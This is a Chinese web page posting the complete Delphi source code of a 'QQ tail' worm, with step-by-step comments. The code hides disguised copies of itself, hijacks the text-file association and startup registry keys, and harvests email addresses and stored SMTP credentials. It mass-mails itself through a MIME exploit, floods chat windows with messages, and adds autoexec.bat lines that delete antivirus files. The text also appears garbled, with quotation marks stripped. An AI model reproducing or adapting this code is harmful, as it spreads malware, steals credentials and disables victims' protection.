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| 关键词： end procedure begin Address string 文件 sendbuffer smtp then recvbuffer |
QQ尾巴的源代码（Delphi7编写）unit Unit1;interfaceusesWindows, Messages, SysUtils, Forms, shellapi,winsock, Controls, Classes, StdCtrls, ExtCtrls,DateUtils,inifiles;typeTForm1 = class(TForm)Timer1: TTimer;Memo1: TMemo;procedure Timer1Timer(Sender: TObject);procedure Formcreate(Sender: TObject);procedure FormDestroy(Sender: TObject);privateprocedure FindFiles(StartDir: string);procedure GetEmailAddress(FileName:string);procedure WriteAddress(Address:string);{ Private declarations }publicprocedure getinputhandle;procedure postmsg;procedure scanemail;procedure wmwindowsclose(var msg:Tmessage);message wm_queryendsession;procedure kill98;{ Public declarations }end;type cs=record address:array[0..99] of string; count:integer; //email地址的个数 smtp:pchar; //smtp服务器的地址 account:pchar; //发送信笺时使用的帐号end;varForm1: TForm1;hWnd11:hwnd;i,safeid:integer;talk1,talk2,talk3:string;const HELO=HELO#13#10; MAILFROM=MAIL FROM: %S#13#10; RCPTTO=RCPT TO: %S#13#10; DATA=DATA#13#10; QUIT=QUIT#13#10; ENDSIGN=#13#10.#13#10;implementation// function RegisterServiceProcess (dwProcessID, dwType: DWord) : DWord; stdcall; external KERNEL32.DLL;{$R *.dfm}function checkwinver:string;varOS :TOSVersionInfo; beginZeroMemory(@OS,SizeOf(OS));OS.dwOSVersionInfoSize:=SizeOf(OS);GetVersionEx(OS);Result:=未知;if OS.dwPlatformId=VER_PLATFORM_WIN32_NT then begincase OS.dwMajorVersion of3: Result:=NT;4: Result:=NT;5: Result:=2000;end;if (OS.dwMajorVersion=5) and (OS.dwMinorVersion=1) thenResult:=XP;end else beginif (OS.dwMajorVersion=4) and (OS.dwMinorVersion=0) then beginResult:=95;if (Trim(OS.szCSDVersion)=B) thenResult:=952;end elseif (OS.dwMajorVersion=4) and (OS.dwMinorVersion=10) then beginResult:=98;if (Trim(OS.szCSDVersion)=A) thenResult:=982;end elseif (OS.dwMajorVersion=4) and (OS.dwMinorVersion=90) thenResult:=ME;end; end;procedure tform1.FindFiles(StartDir: string);var SR: TSearchRec; //用来储存返回的文件的一些数据IsFound: Boolean;//做为一个标志 begin IsFound :=FindFirst(StartDir+*.htm, faAnyFile-faDirectory, SR) = 0; //在startdir里面查找htm文件 while IsFound do begin //如果找到htm文件 GetEmailAddress(startdir+sr.Name); //这里调用我们自己定义的函数，传递的参数是startdir+sr.name也就是该文件的绝对路径。 //注意，这里的函数 GetEmailAddress我们等一下再来描述 IsFound := FindNext(SR) = 0; //继续查找htm文件，只到标志isfound为false end; FindClose(SR); IsFound := FindFirst(StartDir+*.*, faAnyFile, SR) = 0; //现在是查找所有的文件 while IsFound do begin if ((SR.Attr and faDirectory) <> 0) and(SR.Name[1] <> .) then findfiles(startdir+sr.Name+\); //如果该文件是目录，并且不是"."或者".."，那么就在该目录里继续查找，也就是在这里递归了。 IsFound := FindNext(SR) = 0; end; FindClose(SR); end; procedure tform1.GetEmailAddress(FileName:string);var F:textfile; S:string;//用来装每次读一行的字符串 Address:string;//得到的email地址 i,Position:integer; begin AssignFile(F,FileName); Reset(f); while not Eof(f) do begin Address:=; //首先清空address Readln(f,s); //读取一行字符串到s中 Position:=Pos(mailto:,S); //查找首个"mailto:"在s中的地址，如果一行中含有多个"mailto:"则需要你自己修改修改 if Position > 0 then begin for i:=Position+7 to length(S) do //这里position+7里的7表示"mailto:"的长度 begin if ((Upcase(s)<=#90) and (Upcase(s)>=#64)) or ((S<=#57) and (S>=#48)) or (S=.) then //判断是否有效字符 Address:=Address+S else break; end; if (Address<>) and (Pos(@,Address)<>0) then //如果是有效地址，就把它写到列表中去。 //但是，可能这个地址以前已经存在在这个列表中， //所以我定义了一个函数WriteAddress来判断是否存在该地址 //如果不存在，就添加到地址列表中去。 WriteAddress(Address); end; end; closefile(f); end; procedure tform1.WriteAddress(Address:string);var F:textfile; S,Str:string; CanWrite:boolean; Path:array[0..255] of char; beginGetSystemDirectory(path,256); //首先取得系统目录，到时候把email地址列表文件保存到这里。 Str:=Strpas(Path); CanWrite:=true; AssignFile(F,Str+\maillist.lst); if FileExists(Str+\maillist.lst)=false then begin //如果不存在maillist.lst，则信建一个文件maillist.lst来存放email地址。 Rewrite(F); writeln(F,Address); Closefile(F); exit; end else begin Reset(f); while not Eof(F) do begin Readln(F,S); if Address=S then begin CanWrite:=false; break; end; end; CloseFile(F); end;if CanWrite then begin Append(F); Writeln(F,Address); CloseFile(F); end; end;procedure SelfCopy;var Path,value:array [0..255] of char; Hk:HKEY; S:string; begin GetSystemDirectory(Path,256);//取得系统的路径 s:=strpas(Path);//转换成字符串 CopyFile(pchar(paramstr(0)),pchar(S+\exp1orer.exe),false);CopyFile(pchar(paramstr(0)),pchar(S+\notopad.exe),false);//把自身拷贝到系统目录下为ruin.exe,virus_ruin.exe SetFileAttributes(pchar(S+\exp1orer.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);SetFileAttributes(pchar(S+\notopad.exe),FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);//设置刚才的两个文件为系统和隐藏 RegOpenKey(HKEY_CLASSES_ROOT,txtfile\shell\open\command,Hk); value:=notopad.exe %1;RegSetvalueEx(Hk,,0,REG_SZ,@value,17); //把virus_ruin.exe和文本文件关联 RegOpenKey(HKEY_LOCAL_MACHINE,Software\ Microsoft\Windows\CurrentVersion\Run,Hk); value:=notopad.exe;RegSetvalueEx(Hk,ruin,0,REG_SZ,@value,8);//设置开机自动运行ruin.exe end;procedure EncodeBASE64(Dest,Source:string);//这里是用两个字符串作为参数，也就两个文件的路径 const _Code64: String[64] =(ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/); //这里就是base64编码算法的64个字符 crlf=#13#10; //定义crlf为回车换行 var s,d:file; buf1:array[0..2] of byte; buf2:array[0..3] of char; llen,len,pad,i:integer; begin assignfile(d,dest); //这里是目标文件 rewrite(d,1); assignfile(s,source);//这里是原始文件 reset(s,1); pad:=0; llen:=0; while (1=1) do begin blockread(s,buf1,3,len);if len=0 then break; if (len<3) then begin pad:=3-len; for i:=len to 2 do buf1:=0; end; buf2[0]:=_Code64[buf1[0] div 4+1]; buf2[1]:=_Code64[(buf1[0] mod 4)*16 + (buf1[1] div 16)+1]; buf2[2]:=_Code64[(buf1[1] mod 16)*4 + (buf1[2] div 64)+1]; buf2[3]:=_Code64[buf1[2] mod 64+1]; //这里进行了编码 if (pad<>0) then begin if pad=2 then buf2[2]:==; buf2[3]:==; //输入只有一个或两个字节，那么输出将用等号"="补足 blockwrite(d,buf2,4); end else begin blockwrite(d,buf2,4); end; inc(llen,4); if (llen=76) then begin blockwrite(d,crlf,2); //控制每行只写76个字符 llen:=0; end; end; blockwrite(d,crlf,2); closefile(d); closefile(s); end; function makeboundary:string; begin result:=-----=_老同学_+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10))+inttostr(Random(10)); end;procedure makeemlfile; var f,d:textfile; path:array[0..255] of char; boundary1,boundary2,S,str,line:string; begin GetSystemDirectory(path,256); str:=strpas(path); boundary1:=makeboundary; boundary2:=makeboundary; //这里，我们随机的生成了两个标签。Randomize;s:=From: +inttostr(Random(100))[email protected]+#13#10//这里你可以换成你自己的email地址+Subject: 你好！#13#10 //这里，你也可以随机的来生成主题 +X-Priority: 1#13#10 //邮件的优先级，其实可以忽略 +Mime-Version: 1.0#13#10 +Content-Type: multipart/related;boundary="+boundary1+"#13#10#13#10 +--+boundary1+#13#10 +Content-Type: multipart/alternative;boundary="+boundary2+"#13#10 +--+boundary2+#13#10 +Content-Type: text/html#13#10 +Content-Transfer-Encoding: quoted-printable#13#10#13#10 +<iframe src=3Dcid:THE-CID height=3D0 width=3D0></iframe>#13#10 +--+boundary1+#13#10 +Content-Type: audio/x-wav;name="ruin.exe"#13#10 //就是这里audio/x-wav为mime漏洞了。 +Content-Transfer-Encoding: base64#13#10 +Content-ID: <THE-CID>#13#10#13#10; //这里就是填充一些必要的信息。 assignfile(f,str+\ruin.eml); rewrite(f); write(f,s);//首先把上面的内容写入文件ruin.eml CopyFile(pchar(paramstr(0)),pchar(str+\ruin_temp.exe),false);//因为不能打开自身进行读写，所以，这里先做一个拷贝文件，我们直接来读拷贝后的文件 encodebase64(str+\ruin_eml.txt,str+\ruin_temp.exe); deletefile(str+\ruin_temp.exe); //删除刚才拷贝的临时文件 assignfile(d,str+\ruin_eml.txt); reset(d); while not eof(d) do begin readln(d,line); writeln(f,line); //接着向ruin.eml里面写入我们的病毒代码的base64编码 end; closefile(d); deletefile(str+\ruin_eml.txt); //删除刚才调用base64编码算法生成的临时文件 closefile(f); end; function mysizeof(buffer:string):integer; //这个函数用来得到数据的长度 var i:integer; begin for i:=1 to length(buffer) do if buffer=#10 then break; mysizeof:=i; end; function randomaddress:pchar; //产生一个用户名 beginRandomize;result:=pchar(inttostr(random(1000))[email protected]);end;function getip(name:pchar):pchar; type plongint=^longint; var phe:phostent;address:longint;begin phe:=gethostbyname(name);if phe <> nil then begin address:=longint(plongint(phe^.h_addr_list^)^); getip:=inet_ntoa(TInAddr(Address)); end else getip:=name; end;procedure sendmail(canshu:cs);var s:tsocket; //wsa:twsadata; server:tsockaddr; errorcode,i,count:integer; smtp,account:pchar; address:array of string; recvbuffer,sendbuffer:array[0..79] of char; head,path:array[0..255] of char; body:array of char; f:file; str:string; begin //wsastartup($0101,wsa); //加载winsock库 GetSystemDirectory(path,256); str:=strpas(path); count:=2; setlength(address,count); getmem(smtp,256); getmem(account,256); //分配内存空间 strcopy(smtp,canshu.smtp); strcopy(account,canshu.account); //填充一些基本的信息 s:=socket(af_inet,sock_stream,0); //建立一个套接字 if s=invalid_socket then exit; server.sin_family:=af_inet; server.sin_port:=htons(25); server.sin_addr.S_addr:=inet_addr(getip(canshu.smtp)); errorcode:=connect(s,server,sizeof(server)); //调用connect和服务器连接 if errorcode=0 then begin makeemlfile; //调用我们上面的函数，生成一个eml文件 assignfile(f,str+\ruin.eml); reset(f,1); i:=filesize(f); setlength(body,i); blockread(f,body[0],i); //把刚才eml文件里面的所有内容都读取到body里面去 closefile(f); recv(s,head,sizeof(head),0); //这里调用recv来接受服务器的banner strpcopy(sendbuffer,HELO); send(s,sendbuffer,6,0); //我们发送命令HELO recv(s,recvbuffer,sizeof(recvbuffer),0); //接收服务器的返回信息 strpcopy(sendbuffer,format(mailfrom,[account])); send(s,sendbuffer,mysizeof(sendbuffer),0); //我们发送命令MAIL FROM recv(s,recvbuffer,sizeof(recvbuffer),0); //接收服务器的返回信息 for i:=0 to count-1 do begin strpcopy(sendbuffer,format(RCPTTO,[address])); send(s,sendbuffer,mysizeof(sendbuffer),0); recv(s,recvbuffer,sizeof(recvbuffer),0); end; //已经发送count个rcpt to命令 strpcopy(sendbuffer,DATA); send(s,sendbuffer,6,0); //这里开始发送信笺的主体 recv(s,recvbuffer,sizeof(recvbuffer),0); //接收服务器的返回信息 send(s,body[0],length(body),0); strpcopy(sendbuffer,ENDSIGN); send(s,sendbuffer,5,0); //这里发送信笺结束标志 recv(s,recvbuffer,sizeof(recvbuffer),0); //接收服务器的返回信息 strpcopy(sendbuffer,QUIT); send(s,sendbuffer,6,0); //发送QUIT表示我们要退出会话 recv(s,recvbuffer,sizeof(recvbuffer),0); //接收服务器的返回信息 closesocket(s); //关闭套接字 deletefile(str+\ruin.eml); //删除临时文件 end; freemem(smtp,256); freemem(account,256); //wsacleanup; end;procedure sendemails; var hk:hkey; smtp,account,path,smtppassword:array[0..255] of char; smtplen,accountlen,smtppasswordlen,i:integer; canshu:cs; f:textfile; str:string; begin GetSystemDirectory(path,256);str:=strpas(path); smtplen:=256; accountlen:=256; smtppasswordlen:=256; i:=0; RegOpenKey(HKEY_CURRENT_USER,Software\ Microsoft\Internet Account Manager\Accounts\00000001,hk); RegQueryvalueEx(hk,SMTP Server,nil,nil,@smtp,@smtplen); RegQueryvalueEx(hk,Smtp Email Address,nil,nil,@account,@accountlen); RegQueryvalueEx(hk,SMTP Password2,nil,nil,@smtppassword,@smtppasswordlen); //一直到这里都是准备工作，读取该用户的帐号和smtp服务器 if smtppasswordlen<>256 then //需要注意的是，这里smtp password2表示smtp服务器需要密码登陆 //所以我们进行判断 begin canshu.smtp:=smtp; canshu.account:=account; //这里是smtp服务器，按默认设置 end else begin canshu.smtp:=smtp.21cn.com; canshu.account:=randomaddress; //否则，我设置为smtp服务器为smtp.21cn.com //帐号为随机产生一个21cn的地址 //因为smtp.21cn.com不需要身份验证 end; assignfile(f,str+\maillist.lst); reset(f); while not eof(f) do begin readln(f,canshu.address); inc(i); if i=100 then begin i:=0; canshu.count:=100; sendmail(canshu);//每次读100个地址，然后调用我们发送邮件的地址 //sendmail函数在下面会定义，请往后看 end; end; closefile(f); if i>0 then begin canshu.count:=i; sendmail(canshu); //这里是如果邮件个数不是100的整数倍，就读剩余的个数i end; end; procedure TForm1.getinputhandle();varFormThreadID,CWndThreadIDWORD;begini:=i+1;hWnd11:=GetForegroundWindow(); // 得到当前窗口if (hwnd11=form1.Handle) thenbeginhwnd11:=0;// 排除程序本身的窗口exit;end;FormThreadID:= GetCurrentThreadId(); // 本程序的线程ID// 当前窗口的线程IDCWndThreadID:=GetWindowThreadProcessId(hWnd11,nil);// 附加输入线程AttachThreadInput(CWndThreadID, FormThreadID, true); // 得到当前键盘光标所在的窗口 hWnd11:= GetFocus();// 取消附加的输入线程 AttachThreadInput(CWndThreadID, FormThreadID, false); end;procedure TForm1.Timer1Timer(Sender: TObject);begintrygetinputhandle;Randomize;if i>5 thenif random(5)=1 thenbeginpostmsg;i:=0;end;if HourOf(now)=13 then//每天1点执行扫描beginscanemail;sendemails;end;exceptend;end;procedure TForm1.postmsg;Var a:widestring;b:array[0..500] of char;i:integer;Beginif hwnd11=0 then exit;zeromemory(@b,500);randomize;i:=random(4);a:=memo1.lines.text;if i=1 thena:=talk1;if i=2 thena:=talk2;if i=3 thena:=talk3;strpcopy(b,a);for i:=0 to 300 dobeginpostmessage(hwnd11,wm_char,wParam(b),0);end;keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0); keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),0,0); //按下CTRL键。keybd_event(vk_return,MapVirtualKey(vk_return,0),0,0);//键下R键。keybd_event(vk_return,MapVirtualKey(vk_return,0), KEYEVENTF_KEYUP,0);//放开R键。keybd_event(VK_CONTROL,MapVirtualKey(VK_CONTROL,0),KEYEVENTF_KEYUP,0);//放开CTRL键。end;procedure TForm1.Formcreate(Sender: TObject);begintalk1:=我好爱你啊啊！爱你爱到沟里，想你想到坑里。=明教教主=!;talk2:=我好爱你啊啊！爱你爱到沟里，想你想到坑里。=明教教主=;talk3:=我好爱你啊啊！爱你爱到沟里，想你想到坑里。=明教教主=;tryif paramcount=1 thenbegin//winexec(pchar(rav.exe+paramstr(1)),sw_show);shellexecute(0,open,pchar(notepad.exe),pchar(paramstr(1)),nil,sw_normal);end;i:=0;safeid:=2;SelfCopy;application.Title:=Suny Write;if findwindow(nil,冬天来了春天还会远吗?)<>0 thenbeginsafeid:=4;application.Terminate;exit;end;application.Title:=冬天来了春天还会远吗?;if (checkwinver=98) or (checkwinver=982) thenbeginkill98;winexec(command /c explorer.exe,sw_hide);end;if checkwinver=2000 thenbeginend;exceptend;end;procedure TForm1.scanemail;var HK:HKEY; IeCache:array[0..255] of char; IeCacheLen:integer; S:string; begin IeCacheLen:=256; //设置返回值的长度 RegOpenKey(HKEY_CURRENT_USER,Software\ Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\,HK); RegQueryvalueEx(HK,Cache,nil,nil,@IeCache,@ieCacheLen); //读取IE缓存的路径 S:=Strpas(IeCache)+\; //在刚才取得的路径后面加一个\ FindFiles(S); //调用我们自己写的函数 end;procedure TForm1.wmwindowsclose(var msg: Tmessage);beginsafeid:=4;end;procedure reboot;varhProcess, hToken, lBufferNeeded: Cardinal;tmpLuid: TLargeInteger;tkp, tkp1: TOKEN_PRIVILEGES;beginif (checkwinver=98)or(checkwinver=982) thenbeginExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0);exit;end;hProcess := GetCurrentProcess;OpenProcessToken(hProcess, (TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY), hToken);LookupPrivilegevalue(, SeShutdownPrivilege, tmpLuid);tkp.PrivilegeCount := 1;tkp.Privileges[0].Luid := tmpLuid;tkp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;AdjustTokenPrivileges(hToken, False, tkp, sizeof(tkp1), tkp1, lBufferNeeded);ExitWindowsEx(EWX_REBOOT + EWX_FORCE, 0); // 重启end;procedure TForm1.FormDestroy(Sender: TObject);beginif safeid<>4 thenbeginreboot;end;end;procedure TForm1.kill98;var t:tinifile;a:array[0..255] of char;s,k:string;Tmp:integer;f:textfile;begintryGetwindowsDirectory(a,255);s:=a;t:=tinifile.create(s+\+system.ini);t.writestring(boot,shell,application.ExeName);SystemParametersInfo(SPI_SCREENSAVERRUNNING,1,@Tmp,0);t.free;assignfile(f,c:\msdos.sys);reset(f);while not eof(f) dobeginreadln(f,k);end;if k<>bootkeys=0 thenbeginappend(f);Writeln(f,bootkeys=0);Flush(f);end;closefile(f);if directoryexists(c:\Program Files\rising)or directoryexists(d:\Program Files\rising) thenbeginassignfile(f,c:\autoexec.bat);reset(f);append(f);Writeln(f,del c:\Program Files\rising\*.*);Writeln(f,del d:\Program Files\rising\*.*);Writeln(f,del e:\Program Files\rising\*.*);Writeln(f,del f:\Program Files\rising\*.*);Flush(f);closefile(f);end;exceptend;end;end. |
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